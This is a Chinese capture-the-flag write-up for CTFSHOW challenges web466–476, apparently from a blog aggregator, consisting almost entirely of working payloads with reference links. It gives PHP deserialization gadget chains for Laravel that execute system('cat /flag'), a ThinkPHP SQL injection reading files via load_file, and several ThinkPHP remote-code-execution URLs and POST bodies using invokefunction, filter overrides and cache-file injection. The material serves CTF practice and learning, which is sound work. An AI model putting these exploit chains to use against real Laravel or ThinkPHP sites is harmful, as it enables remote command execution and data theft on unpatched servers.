当前位置:网站首页>CTFSHOW框架复现篇
CTFSHOW框架复现篇
2022-06-30 22:35:00 【yu22x】
web466
反序列化格式 /admin/序列化串base64
参考文章https://xz.aliyun.com/t/11002
payload
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
?>
web467
参考文章https://xz.aliyun.com/t/9478
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('cat /flag')));
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
web468
参考文章https://www.cnblogs.com/shivers0x72/p/14800109.html
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
$seri = new PendingBroadcast('cat /flag');
echo base64_encode(serialize($seri));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->defaultChannel = 'yu22x';
$this->customCreators = array('yu22x' => 'system');
$this->app = $cmd;
}
}
}
?>
发送payload后看下源代码即可。
web469|web470
参考文章https://www.cnblogs.com/shivers0x72/p/14800109.html
<?php
namespace Illuminate\Broadcasting
{
use Faker\ValidGenerator;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ValidGenerator($cmd);
}
}
$seri = new PendingBroadcast('cat /flag');
echo base64_encode(serialize($seri));
}
namespace Faker
{
use Faker\DefaultGenerator;
class ValidGenerator
{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct($cmd)
{
$this->generator = new DefaultGenerator($cmd);
$this->maxRetries = 10000000;
$this->validator = 'system';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
}
?>
web471
参考文章http://www.136.la/jingpin/show-180114.html#POC1_46
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct()
{
$this->events = new Dispatcher();
$this->event = new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console
{
class QueuedCommand
{
public $connection = 'cat /flag';
}
}
namespace Illuminate\Bus
{
class Dispatcher
{
protected $queueResolver;
public function __construct()
{
$this->queueResolver='system';
}
}
}
namespace
{
use Illuminate\Broadcasting\PendingBroadcast;
echo base64_encode(serialize(new PendingBroadcast()));
}
web472
参考文章https://blog.csdn.net/qq_38154820/article/details/114610513
payload
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace{
$c = new Illuminate\Broadcasting\BroadcastEvent('cat /flag');
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
echo base64_encode(serialize($b));
}
web473
参考文章https://www.cnblogs.com/litlife/p/11273652.html
试了几个报错函数 ,其中exp可用。
payloadindex.php?s=index/index/inject&a[0]=inc&a[1]=exp(~(select load_file('/flag')))&a[2]=1
web474
参考文章https://blog.csdn.net/rfrder/article/details/114599310
public/index.php?s=index/index/rce&cache=%0d%0asystem('cat /flag');//
接着访问
runtime/cache/0f/ea6a13c52b4d4725368f24b045ca84.php
web475
s=cat /flag&_method=__construct&method=POST&filter[]=system
aaaa=cat /flag&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=cat /flag
c=cat /flag&f=calc&_method=filter
web476
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /f*
边栏推荐
- "More Ford, more China" saw through the clouds, and the orders of Changan Ford's flagship products exceeded 10000
- Win11电脑名如何更改?Win11更改电脑名的方法
- 智慧路灯| 云计算点亮智慧城市的“星星之火”
- How to judge whether the JS object is empty
- How to develop the exchange system? Mature technology case of digital currency exchange system development
- 深入解析 Apache BookKeeper 系列:第四篇—背压
- Smart streetlights | cloud computing lights up the "spark" of smart cities
- As the public cloud market enters the deep water, can the calm Amazon cloud still sit still?
- How to ensure the security of our core drawings by drawing encryption
- AtCoder Beginner Contest 257
猜你喜欢

Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌

总结的一些内存问题

Introduction to machine learning compilation course learning notes lesson 2 tensor program abstraction

latex字母头顶两个点

Redis的事务和锁机制

How to change the win11 computer name? Win11 method of changing computer name
![[无线通信基础-13]:图解移动通信技术与应用发展-1-概述](/img/1d/62e55f1b5445d7349ec383879f4275.png)
[无线通信基础-13]:图解移动通信技术与应用发展-1-概述

十个最为戳心测试/开程序员笑话,念茫茫人海,该如何寻觅?

Where can I find the computer device manager

The Sandbox 正在 Polygon 网络上进行部署
随机推荐
图纸加密如何保障我们的核心图纸安全
RIDE:获取图片base64
Graduation project
[micro service ~nacos] configuration center of Nacos
MIT doctoral dissertation optimization theory and machine learning practice
What are the contents and processes of software validation testing? How much does it cost to confirm the test report?
What is the experience of pairing with AI? Pilot vs alphacode, Codex, gpt-3
Two dots on the top of the latex letter
"Paddle + camera" has become a "prefabricated dish" in the AI world, and it is easier to implement industrial AI quality inspection
CNN经典网络模型详解-LeNet-5(pytorch实现)
去中心化交易所系统开发技术原理丨数字货币去中心化交易所系统开发(说明案例)
Deployment of microservices based on kubernetes platform
Domestic database disorder
有孚网络混合云,加速企业数字化转型升级
How cloud computing can protect online education in the post epidemic Era
企业出海数字化转型解决方案介绍
深入解析 Apache BookKeeper 系列:第四篇—背压
JVM Part 21 of interview with big companies Q & A
What is flush software? In addition, is it safe to open an account online now?
B_ QuRT_ User_ Guide(31)